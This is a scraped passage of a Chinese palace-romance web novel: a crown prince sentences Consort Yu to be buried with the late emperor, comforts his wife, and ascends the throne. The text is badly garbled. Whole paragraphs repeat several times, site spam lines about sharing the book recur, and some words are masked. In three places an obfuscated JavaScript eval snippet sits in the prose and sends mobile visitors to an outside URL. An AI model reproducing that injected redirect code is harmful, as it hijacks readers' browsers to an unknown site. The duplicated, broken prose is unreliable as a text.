监察御史、礼部尚书吓得面如纸色,使劲磕头,带着哭腔道:“陛下恕罪,微臣不敢了,不敢了…… 她每念出一个人名,就有人诚惶诚恐的磕头。 一群人脑袋磕得咚咚作响,鼻涕眼泪都吓出来了,场面十分滑稽。 而 辞忧、承基还跟没事人似的,跪坐在蒲团上美滋滋的吃糕点。 裴墨染、云清婳赶来时,就看到这翻反差极大的画面。 二人面面相觑,眼中又惊又喜。 裴墨染:咱们就多余担心他俩! 云清婳骄傲的仰了扬脖子。 众官员齐声道:“陛下恕罪!” 不会有人质疑承基、辞忧话的真伪。 因为三岁孩子不可能如此流畅,如数家珍地说出他们的名字,嘴里更不会蹦出“肃清奸佞,打击逆党”这般复杂的词语。 显然这些都是皇上经常在他们耳边提起的,他们耳濡目染背住了。 虞贵妃的白眼都快翻上天。 一群老废物,居然被两个小屁孩吓成这样! “对了,皇爷爷说了,欺负我们的人里还有肥鳜鱼。”辞忧福至心灵,突然想到。 “妹妹,不是肥鳜鱼,是虞贵妃。”承基蹙眉,一本正经地纠正。 此话一出,虞贵妃的眸子一滞,她双腿发软,也扑通一声跪下,“陛下恕罪!陛下恕罪!” 她的脑袋磕得咚咚作响,声音光是听着就疼。 飞霜险些笑喷。 众人都知道,皇上早料到了有这一天,所以故意教孩子说了这些。 看着这些人被孩子拿捏,裴墨染感到很骄傲。 云清婳示意飞霜将孩子带走。 裴墨染的眼里露出锋芒,“方若儒、陈子辰,你们真是狗胆包天!父皇驾崩,本宫还在,你们就敢压迫皇孙?你们是想逼宫**不成?” “殿下息怒,微臣不敢。”监察御史方若儒、礼部尚书陈子辰连忙辩解。 在云清婳的眼神示意下,飞霜福福身,她睨了眼虞贵妃,“回殿下,方才是虞贵妃率先上前指点皇太孙跟郡主,说皇太孙、郡主毫无悲意,不孝不顺,其他大人才上前的。” “对、对……”其他官员点头如捣蒜。 虞贵妃的脸上血色尽失,她头昏脑胀,抖得跟筛糠似的,“不,不,我只是……爱敬陛下,所以才多嘴劝了皇孙两句。” “挑事生非!”裴墨染甩袖,“好啊!既然虞贵妃如此爱敬父皇,不如殉葬!三日后与父皇共赴皇陵!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 辞忧、承基还跟没事人似的,跪坐在蒲团上美滋滋的吃糕点。 小说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节) 裴墨染、云清婳赶来时,就看到这翻反差极大的画面。 二人面面相觑,眼中又惊又喜。 裴墨染:咱们就多余担心他俩! 云清婳骄傲的仰了扬脖子。 众官员齐声道:“陛下恕罪!” 不会有人质疑承基、辞忧话的真伪。 因为三岁孩子不可能如此流畅,如数家珍地说出他们的名字,嘴里更不会蹦出“肃清奸佞,打击逆党”这般复杂的词语。 显然这些都是皇上经常在他们耳边提起的,他们耳濡目染背住了。 虞贵妃的白眼都快翻上天。 一群老废物,居然被两个小屁孩吓成这样! “对了,皇爷爷说了,欺负我们的人里还有肥鳜鱼。”辞忧福至心灵,突然想到。 “妹妹,不是肥鳜鱼,是虞贵妃。”承基蹙眉,一本正经地纠正。 此话一出,虞贵妃的眸子一滞,她双腿发软,也扑通一声跪下,“陛下恕罪!陛下恕罪!” 她的脑袋磕得咚咚作响,声音光是听着就疼。 飞霜险些笑喷。 众人都知道,皇上早料到了有这一天,所以故意教孩子说了这些。 看着这些人被孩子拿捏,裴墨染感到很骄傲。 云清婳示意飞霜将孩子带走。 裴墨染的眼里露出锋芒,“方若儒、陈子辰,你们真是狗胆包天!父皇驾崩,本宫还在,你们就敢压迫皇孙?你们是想逼宫**不成?” “殿下息怒,微臣不敢。”监察御史方若儒、礼部尚书陈子辰连忙辩解。 在云清婳的眼神示意下,飞霜福福身,她睨了眼虞贵妃,“回殿下,方才是虞贵妃率先上前指点皇太孙跟郡主,说皇太孙、郡主毫无悲意,不孝不顺,其他大人才上前的。” “对、对……”其他官员点头如捣蒜。 虞贵妃的脸上血色尽失,她头昏脑胀,抖得跟筛糠似的,“不,不,我只是……爱敬陛下,所以才多嘴劝了皇孙两句。” “挑事生非!”裴墨染甩袖,“好啊!既然虞贵妃如此爱敬父皇,不如殉葬!三日后与父皇共赴皇陵!” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 辞忧、承基还跟没事人似的跪坐在蒲团上美滋滋的吃糕点。 裴墨染、云清婳赶来时就看到这翻反差极大的画面。 二人面面相觑眼中又惊又喜。 裴墨染:咱们就多余担心他俩! 云清婳骄傲的仰了扬脖子。 众官员齐声道:“陛下恕罪!” 不会有人质疑承基、辞忧话的真伪。 因为三岁孩子不可能如此流畅如数家珍地说出他们的名字嘴里更不会蹦出“肃清奸佞 显然这些都是皇上经常在他们耳边提起的他们耳濡目染背住了。 虞贵妃的白眼都快翻上天。 一群老废物居然被两个小屁孩吓成这样! “对了皇爷爷说了欺负我们的人里还有肥鳜鱼。”辞忧福至心灵突然想到。 “妹妹不是肥鳜鱼是虞贵妃。”承基蹙眉一本正经地纠正。 此话一出虞贵妃的眸子一滞她双腿发软也扑通一声跪下“陛下恕罪!陛下恕罪!” 她的脑袋磕得咚咚作响声音光是听着就疼。 飞霜险些笑喷。 众人都知道皇上早料到了有这一天所以故意教孩子说了这些。 看着这些人被孩子拿捏裴墨染感到很骄傲。 云清婳示意飞霜将孩子带走。 裴墨染的眼里露出锋芒“方若儒、陈子辰你们真是狗胆包天!父皇驾崩本宫还在你们就敢压迫皇孙?你们是想逼宫**不成?” “殿下息怒微臣不敢。”监察御史方若儒、礼部尚书陈子辰连忙辩解。 在云清婳的眼神示意下飞霜福福身她睨了眼虞贵妃“回殿下方才是虞贵妃率先上前指点皇太孙跟郡主说皇太孙、郡主毫无悲意不孝不顺其他大人才上前的。” “对、对……”其他官员点头如捣蒜。 虞贵妃的脸上血色尽失她头昏脑胀抖得跟筛糠似的“不不我只是……爱敬陛下所以才多嘴劝了皇孙两句。” “挑事生非!”裴墨染甩袖“好啊!既然虞贵妃如此爱敬父皇不如殉葬!三日后与父皇共赴皇陵!” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 辞忧、承基还跟没事人似的,跪坐在蒲团上美滋滋的吃糕点。 裴墨染、云清婳赶来时,就看到这翻反差极大的画面。 二人面面相觑,眼中又惊又喜。 裴墨染:咱们就多余担心他俩! 云清婳骄傲的仰了扬脖子。 众官员齐声道:“陛下恕罪!” 不会有人质疑承基、辞忧话的真伪。 因为三岁孩子不可能如此流畅,如数家珍地说出他们的名字,嘴里更不会蹦出“肃清奸佞,打击逆党”这般复杂的词语。 显然这些都是皇上经常在他们耳边提起的,他们耳濡目染背住了。 虞贵妃的白眼都快翻上天。 一群老废物,居然被两个小屁孩吓成这样! “对了,皇爷爷说了,欺负我们的人里还有肥鳜鱼。”辞忧福至心灵,突然想到。 “妹妹,不是肥鳜鱼,是虞贵妃。”承基蹙眉,一本正经地纠正。 此话一出,虞贵妃的眸子一滞,她双腿发软,也扑通一声跪下,“陛下恕罪!陛下恕罪!” 她的脑袋磕得咚咚作响,声音光是听着就疼。 飞霜险些笑喷。 众人都知道,皇上早料到了有这一天,所以故意教孩子说了这些。 看着这些人被孩子拿捏,裴墨染感到很骄傲。 云清婳示意飞霜将孩子带走。 裴墨染的眼里露出锋芒,“方若儒、陈子辰,你们真是狗胆包天!父皇驾崩,本宫还在,你们就敢压迫皇孙?你们是想逼宫**不成?” “殿下息怒,微臣不敢。”监察御史方若儒、礼部尚书陈子辰连忙辩解。 在云清婳的眼神示意下,飞霜福福身,她睨了眼虞贵妃,“回殿下,方才是虞贵妃率先上前指点皇太孙跟郡主,说皇太孙、郡主毫无悲意,不孝不顺,其他大人才上前的。” “对、对……”其他官员点头如捣蒜。 虞贵妃的脸上血色尽失,她头昏脑胀,抖得跟筛糠似的,“不,不,我只是……爱敬陛下,所以才多嘴劝了皇孙两句。” “挑事生非!”裴墨染甩袖,“好啊!既然虞贵妃如此爱敬父皇,不如殉葬!三日后与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384536|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父皇共赴皇陵!” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 辞忧、承基还跟没事人似的,跪坐在蒲团上美滋滋的吃糕点。 裴墨染、云清婳赶来时,就看到这翻反差极大的画面。 二人面面相觑,眼中又惊又喜。 裴墨染:咱们就多余担心他俩! 云清婳骄傲的仰了扬脖子。 众官员齐声道:“陛下恕罪!” 不会有人质疑承基、辞忧话的真伪。 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“挑事生非!”裴墨染甩袖“好啊!既然虞贵妃如此爱敬父皇不如殉葬!三日后与父皇共赴皇陵!” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第351章 她很久没这么热情了 “啊……”虞贵妃涕泪横流,她对着裴墨染在他脚边磕头,“本宫错了,本宫错了,殿下饶命,殿下饶命啊……” 她狼狈的如同落水狗,那还有当年仪态万千,葳蕤华贵,直逼皇后的气势? 德妃、贤妃蔑笑。 真是活该,这些年她们受了她多少打压?今日终于报应回来了。 裴墨染不想再听,他递了个眼神过去。 太监不留情面的将虞贵妃拖走,虞贵妃挣扎着大喊:“饶命啊!殿下饶命啊……” 裴墨染面如铁色,眸色黑沉。 他当然不会饶命,新政更替,他本就想杀鸡儆猴,震慑群臣。 虞贵妃自己送上门来,又有陛下的应允,他怎舍得放过这次机会? …… 按照宗庙规矩,国丧须得停灵两个月。 裴墨染夙兴夜寐,整日在乾清宫、勤政殿辗转,他通宵处理奏折,睡前连孝衣都来不及换,才小憩须臾,天边便泛起鱼肚白。 早膳草草吃过后,就得赶去灵前主持朝奠。 新朝更替,无数政务如潮水般涌来,他忙得脚不沾地,**眼可见的疲惫清减,但精神头却异常充足。 守灵七日后,他连孝服都来不及换,终于得空赶回东宫。 云清婳将孩子哄睡后,已经子时过半。 她从净室出来时,发现裴墨染已经穿着白绸亵衣躺在榻上,他的双手叠在脑后,出神的望着床顶,他的眼睑下泛着淡淡的青黑,下颔线更清晰瘦削了。 “夫君!”云清婳眼前一亮,像是看到了巨大的惊喜。 她小跑着到床榻前,踢掉了绣花鞋爬上榻。 一对杏眼干净通透、熠熠生辉,就像看到了心爱玩具的孩子。 裴墨染受宠若惊的坐起身,原本因为疲倦耷拉下的桃花眼眼尾上扬,他张开了双臂。 云清婳带着冲力,扑进他的怀里。 他险些被她砸倒。 这个小妮子已经很久没有这么热情过了。 上次如此娇媚、爱慕的奔向他,还是他们第一个孩子出事之前。 那时的他还不懂珍惜,是个大混蛋。 现在她倒有几分刚刚动心,爱慕他时的娇羞模样。 “娘子这般热情 主动,莫不是做了坏事?他双臂锁住她纤细的腰肢,高挺的鼻尖在她的鼻尖蹭了蹭。 她的水眸像是泉眼般清澈,娇声道:“我每日都见不到夫君,想夫君还错了?你就不能盼我点好? 他低低的笑了,双臂将她箍得更紧,“我也想蛮蛮了,昨日伏案处理政务时不小心睡着了,我梦见蛮蛮了,可醒来后,身边只有堆成山的奏折。 “夫君都瘦了。她捧着他的脸,眼底满是心疼。 “娘子也瘦了。他的眸中情潮汹涌,但不是欲望,而是思念。 裴墨染话锋一转,痞气的调侃,“蛮蛮要吃胖些,不然每次都把本宫的玉体硌得疼。 “夫君又耍流氓了!她嗔了他一眼,“既然夫君嫌弃我了,谁丰腴,你找谁去。 他顿感大事不妙,焦急的解释:“蛮蛮体态轻盈,身姿玲珑,我怎会不喜欢?我怎舍得嫌弃你?你休想冤枉我。 云清婳哼了一声,遂主动探着脖子,在他的唇上落下一吻,唇舌间缠绵。 裴墨染的唇瓣感受到了一阵酥麻,紧接着脊椎骨发痒,这股奇妙的痒意直通天灵盖,然后侵袭着四肢百骸。 他的心跳扑通乱跳,在夜里,声音格外明显,就连云清婳都听到了。 她嗤嗤的笑了,柔软的手掌顺着他的肩膀滑落到他心脏的位置,“夫君是因为我,心动了吗? 云清婳调侃的意味明显。 他不禁有些懊恼,真是丢人,他们孩子都有两个了,他居然还跟个情窦初开的毛头小子似的这么大反应。 云清婳的眼中划过精明。 如今裴墨染今非昔比,身价百倍,她当然要提供充足的情绪价值,稍微讨好一下。 国君跟储君的心态可是大不相同的。 “你这个坏蛋,都会促狭我了是吧? 云清婳傻眼了。 谁家夫妻调情,丈夫突然擒拿妻子的? 狗男人有病吧? 她的胳膊隐隐作痛,她的杏眸睁得浑圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“遵命!我一定谨遵娘子教诲,谨言慎行。”他抱着她,将她平放在榻上,叫人将灯烛熄灭。 寝殿陷入一片黑暗。 云清婳侧躺着,将手放在他的腰上,“夫君快睡吧,我心疼你啊。” 裴墨染的额贴上她的,良久,他沉重地开口:“蛮蛮,那天你应该是故意提醒我的对吧?你猜到皇后害**父皇?” 她缓缓颔首。 “蛮蛮果然心细如尘。”他扯出一抹苦涩的笑。 她轻拍他的背,“夫君,你心中若是难受,我可以把肩膀借你靠一下。” 他的眼底发热,将脸埋进她的颈窝,就像孩子撒娇。 “蛮蛮,是不是很可笑?我的爹娘都是那么绝情自私的人,最后我的母亲还害**父亲。每每想到这里,我都感到无比恶心!”他说到最后咬牙切齿。 在皇上临终前,他跟皇上关系缓和,也只是看在皇位跟孩子的面上罢了。 他们绝对是最像君臣的一对父子。 虽然他早就对皇上、皇后没有期待了。 但他还是觉得悲哀,自己的爹娘是一对这么烂的烂人,他们既然不爱孩子,为何要生下他? 害他的前半生如此凄惨。 一个自私自利,为了宸妃,调换了他的人生。另一个,罔顾夫妻情分,见死不救! 他们真般配啊! 云清婳有一搭没一搭地轻拍他的背脊,“夫君,有些人是不配做父母的,这些都是他们的错。” “此事事关皇家颜面,我不能揭穿皇后,不能让天下人知道皇上死在自己的发妻手里。可皇后实在膈应人……” 此时此刻,裴墨染不需要回答,他只是在倒苦水,倾诉着心中的苦楚与无奈。 他的眼眸发酸发热,但在蛮蛮的怀里他可以无所顾忌,畅所欲言。 云清婳认真倾听,时不时给予温柔的回应。 别说一个封建社会中央集权背景下的太子,就算是现代人,应该都很难接受自己的母亲害**父亲。 他需要的是充足的情绪价值。 “我给夫君按按,你太累了。” 云清婳按摩的手法一流,不轻不重 地揉着他的太阳穴。 没一会儿,裴墨染的眼皮子发沉,他抵着她的颈窝沉沉睡去。 云清婳的肩头被压得发酸发麻,半条胳膊很快失去了知觉。 她拧着眉,在心中暗道:裴墨染,可不要让我白费功夫,将来我杀掉皇后,你一定不要忘了今日的情分啊。 …… 第二日,裴墨染是在云清婳的怀里醒来的。 云清婳直接疼哭了。 她的肩膀被他压了一宿,稍微抬抬胳膊,一起身就疼,痛意仿佛渗进了骨头缝里。 裴墨染着急地给她揉着肩膀,云清婳疼得不禁呻吟了一声。 他六神无主,当即不敢碰她了。 “蛮蛮,我这就传太医。他的眼中含着愧疚,立即吩咐王显请医女过来看看。 “好疼,都怪你!云清婳的眼泪在眼眶打转。 裴墨染像是犯错的孩子,头都快抬不起来,蔫蔫地看着她,双眼灼热。 “昨晚你把我推醒啊,你身娇肉贵的,要是真把你压坏了,留下病根怎么办?他越说声音越小,有些语无伦次,“呸呸呸,蛮蛮大吉大利,必不会有虞。 她被他逗笑了,怂了怂鼻子,“夫君不识好人心!我心疼你嘛! 他的嘴角勾起一抹清浅的弧度,心仿佛置于温水中。 昨晚的确是这些日子以来,他睡得最好的一次,一夜无梦,精气神都变好了。 “我皮糙肉厚的,哪用得着你心疼?他在她的眉心落下一吻。 云清婳抬起无事的一边胳膊,捧着他的脸,“你快进宫吧,别耽搁了,皇上驾崩,登基仪式尚未举行,你别让人捉住话柄。 他不假思索地摇头,“我昨日就跟诸葛先生交代好了,今日晚些去勤政殿。再说了,你都病了,我怎能安心离开? 听到这里,云清婳的睫毛颤了颤,心中的惊喜瞬间膨胀开。 这还是第一次,裴墨染为了她,放弃了朝政。 是不是可以理解为,在他心里,她比朝政重要了呢? 如果她在裴墨染心中的分量超越朝政,她的攻略值就到达一百分,那么现在她是不是已经达到了九十五分? 他们二人实在太熟悉对方,裴墨染轻而易举就捕捉到了云 清婳眼角眉梢的小雀跃,但她面上还强行装着平静。 裴墨染沾沾自喜,他的唇贴在她的耳畔,戏谑道:“至于吗?我不走,娘子就这么高兴? 云清婳:…… 这辈子都没见过这么会自我攻略的人。 她:呼吸。 裴墨染:你真是手段了得! “真会给自己贴金,我已经不疼了,你快走吧!她推他。 “明明喜欢得不得了,还嘴硬!也罢,本宫不跟你计较。 云清婳翻了个白眼。 他爱怎么想,就怎么想吧。 …… 国不可一日无君,皇帝梓宫安奉后,下葬之前,礼部主持了裴墨染的登基仪式。 裴墨染身着玄色金丝绣龙纹袍在圜丘坛祭天,接受文武百官的**,授予宝玺。 云清婳站在阶下丹陛的右侧,挺直细长的脖颈,仰视着裴墨染。 她今日的妆容明艳,不同于往日的淡雅,她画了花钿,点了绛唇。头上梳了狄髻,头戴九龙九凤点翠凤冠,身着明黄色织金翟衣,霞帔的边缘缝制了九十九颗珍珠,上面绣了牡丹云凤纹,端庄大气,华贵肃穆却不失葳蕤。 她带领着东宫女眷、大行皇帝的太妃对上首的裴墨染行朝拜礼。 四目相接的瞬间,二人眼中仿佛有星子闪烁,星光灿烂。 云清婳现在的身份有些许尴尬,册封皇后仪式还未举行,她现在尚未是皇后。 但更尴尬的另有其人。 她瞥见朝臣中,裴云澈的神情落寞,周身戾气缠绕,其他臣子对他避而远之,曾经被众人追捧的贤王从此跌下高台,无人问津。 而太后也就是之前的皇后,压根没被裴墨染允许参加登基大典。 她找金嬷嬷向裴墨染通传了好几次,极力要求出席,但都被裴墨染拒绝了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 清婳眼角眉梢的小雀跃但她面上还强行装着平静。 裴墨染沾沾自喜他的唇贴在她的耳畔戏谑道:“至于吗?我不走娘子就这么高兴?” 云清婳:…… 这辈子都没见过这么会自我攻略的人。 她:呼吸。 裴墨染:你真是手段了得! “真会给自己贴金我已经不疼了你快走吧!”她推他。 “明明喜欢得不得了还嘴硬!也罢本宫不跟你计较。”他傲娇地扬起脖子。 云清婳翻了个白眼。 他爱怎么想就怎么想吧。 …… 国不可一日无君皇帝梓宫安奉后下葬之前礼部主持了裴墨染的登基仪式。 裴墨染身着玄色金丝绣龙纹袍在圜丘坛祭天 云清婳站在阶下丹陛的右侧挺直细长的脖颈仰视着裴墨染。 她今日的妆容明艳不同于往日的淡雅她画了花钿点了绛唇。头上梳了狄髻头戴九龙九凤点翠凤冠身着明黄色织金翟衣霞帔的边缘缝制了九十九颗珍珠上面绣了牡丹云凤纹端庄大气华贵肃穆却不失葳蕤。 她带领着东宫女眷、大行皇帝的太妃对上首的裴墨染行朝拜礼。 四目相接的瞬间二人眼中仿佛有星子闪烁星光灿烂。 云清婳现在的身份有些许尴尬册封皇后仪式还未举行她现在尚未是皇后。 但更尴尬的另有其人。 她瞥见朝臣中裴云澈的神情落寞周身戾气缠绕其他臣子对他避而远之曾经被众人追捧的贤王从此跌下高台无人问津。 而太后也就是之前的皇后压根没被裴墨染允许参加登基大典。 她找金嬷嬷向裴墨染通传了好几次极力要求出席但都被裴墨染拒绝了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 清婳眼角眉梢的小雀跃但她面上还强行装着平静。 裴墨染沾沾自喜他的唇贴在她的耳畔戏谑道:“至于吗?我不走娘子就这么高兴?” 云清婳:…… 这辈子都没见过这么会自我攻略的人。 她:呼吸。 裴墨染:你真是手段了得! “真会给自己贴金我已经不疼了你快走吧!”她推他。 “明明喜欢得不得了还嘴硬!也罢本宫不跟你计较。”他傲娇地扬起脖子。 云清婳翻了个白眼。 他爱怎么想就怎么想吧。 …… 国不可一日无君皇帝梓宫安奉后下葬之前礼部主持了裴墨染的登基仪式。 裴墨染身着玄色金丝绣龙纹袍在圜丘坛祭天接受文武百官的**授予宝玺。 云清婳站在阶下丹陛的右侧挺直细长的脖颈仰视着裴墨染。 她今日的妆容明艳不同于往日的淡雅她画了花钿点了绛唇。头上梳了狄髻头戴九龙九凤点翠凤冠身着明黄色织金翟衣霞帔的边缘缝制了九十九颗珍珠上面绣了牡丹云凤纹端庄大气华贵肃穆却不失葳蕤。 她带领着东宫女眷、大行皇帝的太妃对上首的裴墨染行朝拜礼。 四目相接的瞬间二人眼中仿佛有星子闪烁星光灿烂。 云清婳现在的身份有些许尴尬册封皇后仪式还未举行她现在尚未是皇后。 但更尴尬的另有其人。 她瞥见朝臣中裴云澈的神情落寞周身戾气缠绕其他臣子对他避而远之曾经被众人追捧的贤王从此跌下高台无人问津。 而太后也就是之前的皇后压根没被裴墨染允许参加登基大典。 她找金嬷嬷向裴墨染通传了好几次极力要求出席 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 清婳眼角眉梢的小雀跃,但她面上还强行装着平静。 裴墨染沾沾自喜,他的唇贴在她的耳畔,戏谑道:“至于吗?我不走,娘子就这么高兴?” 云清婳:…… 这辈子都没见过这么会自我攻略的人。 她:呼吸。 裴墨染:你真是手段了得! “真会给自己贴金,我已经不疼了,你快走吧!”她推他。 “明明喜欢得不得了,还嘴硬!也罢,本宫不跟你计较。”他傲娇地扬起脖子。 云清婳翻了个白眼。 他爱怎么想,就怎么想吧。 …… 国不可一日无君,皇帝梓宫安奉后,下葬之前,礼部主持了裴墨染的登基仪式。 裴墨染身着玄色金丝绣龙纹袍在圜丘坛祭天,接受文武百官的**,授予宝玺。 云清婳站在阶下丹陛的右侧,挺直细长的脖颈,仰视着裴墨染。 她今日的妆容明艳,不同于往日的淡雅,她画了花钿,点了绛唇。头上梳了狄髻,头戴九龙九凤点翠凤冠,身着明黄色织金翟衣,霞帔的边缘缝制了九十九颗珍珠,上面绣了牡丹云凤纹,端庄大气,华贵肃穆却不失葳蕤。 她带领着东宫女眷、大行皇帝的太妃对上首的裴墨染行朝拜礼。 四目相接的瞬间,二人眼中仿佛有星子闪烁,星光灿烂。 云清婳现在的身份有些许尴尬,册封皇后仪式还未举行,她现在尚未是皇后。 但更尴尬的另有其人。 她瞥见朝臣中,裴云澈的神情落寞,周身戾气缠绕,其他臣子对他避而远之,曾经被众人追捧的贤王从此跌下高台,无人问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388552|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 津。 而太后也就是之前的皇后,压根没被裴墨染允许参加登基大典。 她找金嬷嬷向裴墨染通传了好几次,极力要求出席,但都被裴墨染拒绝了。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 清婳眼角眉梢的小雀跃但她面上还强行装着平静。 裴墨染沾沾自喜他的唇贴在她的耳畔戏谑道:“至于吗?我不走娘子就这么高兴?” 云清婳:…… 这辈子都没见过这么会自我攻略的人。 她:呼吸。 裴墨染:你真是手段了得! “真会给自己贴金我已经不疼了你快走吧!”她推他。 “明明喜欢得不得了还嘴硬!也罢本宫不跟你计较。”他傲娇地扬起脖子。 云清婳翻了个白眼。 他爱怎么想就怎么想吧。 …… 国不可一日无君皇帝梓宫安奉后下葬之前礼部主持了裴墨染的登基仪式。 裴墨染身着玄色金丝绣龙纹袍在圜丘坛祭天接受文武百官的**授予宝玺。 云清婳站在阶下丹陛的右侧挺直细长的脖颈仰视着裴墨染。 她今日的妆容明艳不同于往日的淡雅她画了花钿点了绛唇。头上梳了狄髻头戴九龙九凤点翠凤冠身着明黄色织金翟衣霞帔的边缘缝制了九十九颗珍珠上面绣了牡丹云凤纹端庄大气华贵肃穆却不失葳蕤。 她带领着东宫女眷、大行皇帝的太妃对上首的裴墨染行朝拜礼。 四目相接的瞬间二人眼中仿佛有星子闪烁 云清婳现在的身份有些许尴尬册封皇后仪式还未举行她现在尚未是皇后。 但更尴尬的另有其人。 她瞥见朝臣中裴云澈的神情落寞周身戾气缠绕其他臣子对他避而远之曾经被众人追捧的贤王从此跌下高台无人问津。 而太后也就是之前的皇后压根没被裴墨染允许参加登基大典。 她找金嬷嬷向裴墨染通传了好几次极力要求出席但都被裴墨染拒绝了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 清婳眼角眉梢的小雀跃,但她面上还强行装着平静。 裴墨染沾沾自喜,他的唇贴在她的耳畔,戏谑道:“至于吗?我不走,娘子就这么高兴? 云清婳:…… 这辈子都没见过这么会自我攻略的人。 她:呼吸。 裴墨染:你真是手段了得! “真会给自己贴金,我已经不疼了,你快走吧!她推他。 “明明喜欢得不得了,还嘴硬!也罢,本宫不跟你计较。 云清婳翻了个白眼。 他爱怎么想,就怎么想吧。 …… 国不可一日无君,皇帝梓宫安奉后,下葬之前,礼部主持了裴墨染的登基仪式。 裴墨染身着玄色金丝绣龙纹袍在圜丘坛祭天,接受文武百官的**,授予宝玺。 云清婳站在阶下丹陛的右侧,挺直细长的脖颈,仰视着裴墨染。 她今日的妆容明艳,不同于往日的淡雅,她画了花钿,点了绛唇。头上梳了狄髻,头戴九龙九凤点翠凤冠,身着明黄色织金翟衣,霞帔的边缘缝制了九十九颗珍珠,上面绣了牡丹云凤纹,端庄大气,华贵肃穆却不失葳蕤。 她带领着东宫女眷、大行皇帝的太妃对上首的裴墨染行朝拜礼。 四目相接的瞬间,二人眼中仿佛有星子闪烁,星光灿烂。 云清婳现在的身份有些许尴尬,册封皇后仪式还未举行,她现在尚未是皇后。 但更尴尬的另有其人。 她瞥见朝臣中,裴云澈的神情落寞,周身戾气缠绕,其他臣子对他避而远之,曾经被众人追捧的贤王从此跌下高台,无人问津。 而太后也就是之前的皇后,压根没被裴墨染允许参加登基大典。 她找金嬷嬷向裴墨染通传了好几次,极力要求出席,但都被裴墨染拒绝了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 清婳眼角眉梢的小雀跃但她面上还强行装着平静。 裴墨染沾沾自喜他的唇贴在她的耳畔戏谑道:“至于吗?我不走娘子就这么高兴?” 云清婳:…… 这辈子都没见过这么会自我攻略的人。 她:呼吸。 裴墨染:你真是手段了得! “真会给自己贴金我已经不疼了你快走吧!”她推他。 “明明喜欢得不得了还嘴硬!也罢本宫不跟你计较。”他傲娇地扬起脖子。 云清婳翻了个白眼。 他爱怎么想就怎么想吧。 …… 国不可一日无君皇帝梓宫安奉后下葬之前礼部主持了裴墨染的登基仪式。 裴墨染身着玄色金丝绣龙纹袍在圜丘坛祭天接受文武百官的**授予宝玺。 云清婳站在阶下丹陛的右侧挺直细长的脖颈仰视着裴墨染。 她今日的妆容明艳不同于往日的淡雅她画了花钿点了绛唇。头上梳了狄髻头戴九龙九凤点翠凤冠身着明黄色织金翟衣霞帔的边缘缝制了九十九颗珍珠上面绣了牡丹云凤纹端庄大气华贵肃穆却不失葳蕤。 她带领着东宫女眷、大行皇帝的太妃对上首的裴墨染行朝拜礼。 四目相接的瞬间二人眼中仿佛有星子闪烁星光灿烂。 云清婳现在的身份有些许尴尬 但更尴尬的另有其人。 她瞥见朝臣中裴云澈的神情落寞周身戾气缠绕其他臣子对他避而远之曾经被众人追捧的贤王从此跌下高台无人问津。 而太后也就是之前的皇后压根没被裴墨染允许参加登基大典。 她找金嬷嬷向裴墨染通传了好几次极力要求出席但都被裴墨染拒绝了。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第353章 裴墨染故意膈应皇后 皇后的心思很明显,她想要延续自己的威严,做出母子情深的假象,向所有人证明自己的地位。 可裴墨染怎会如她所愿? 他不仅拒绝皇后出席,还故意下了圣旨册封宸妃为圣母皇太后,依照先帝遗旨,跟先帝合葬。 没错,裴墨染是故意的! 目的就是为了恶心皇后。 虽然她依旧是后宫位高权重的人之一,但皇后当了这么多年的后宫之主,突然间多了一宫太后,与她同起同坐,还是个**,她怎能咽下这口气? 这种感觉就像是住了快一辈子的房子,突然有一天有人告诉你,这间房还有另一个主人,不完全属于你。 皇后心中的气愤、不甘可想而知,她想找人理论,却求助无门,因为她总不可能去地府找到先帝,跟先帝据理力争。 皇后心绪郁结,竟卧病在床,躺了三日才顺过气来。 虽然这对皇后影响不大,但众人也都明白新帝不看重她。 …… 登基大典结束后,裴墨染牵着云清婳的手去了御书房。 “蛮蛮,我才登基,政务繁忙,后宫的事日后要劳烦你了。”他拉着她的手,轻拍她的手背。 云清婳乜了他一眼,“夫君是在跟我客气?” 